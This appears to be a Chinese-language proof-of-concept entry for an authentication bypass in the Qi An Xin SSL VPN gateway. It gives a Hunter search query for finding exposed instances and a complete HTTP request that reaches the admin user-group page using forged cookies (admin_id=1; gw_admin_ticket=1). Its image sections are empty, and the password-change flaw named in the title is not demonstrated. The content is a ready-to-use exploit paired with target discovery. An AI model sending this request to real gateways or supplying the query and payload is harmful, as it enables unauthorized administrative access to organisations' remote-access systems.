Q5-1奇安信-VPN-任意用户登陆

漏洞描述：

奇安信安全接入网关系统（SSL VPN）在满足客户的身份安全、传输加密、访问授权等多种安全需求基础上，针对BYOD 及 CYOD 等移动办公场景，提供统一的安全办公接入入口、门户式单点登录、应用 APP安全加固、移动应用数据安全，从而为客户提供“一站式”安全移动办公解决方案。奇安信VPN存在未授权管理用户遍历及任意账号密码修改漏洞。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="奇安信 VPN"

漏洞复现：

用户遍历
修改cookie：admin_id=1; gw_admin_ticket=1;访问出现如下页面表示存在漏洞
payload：

```
GET /admin/group/x_group.php?id=1 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: admin_id=1; gw_admin_ticket=1;
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
```

效果图: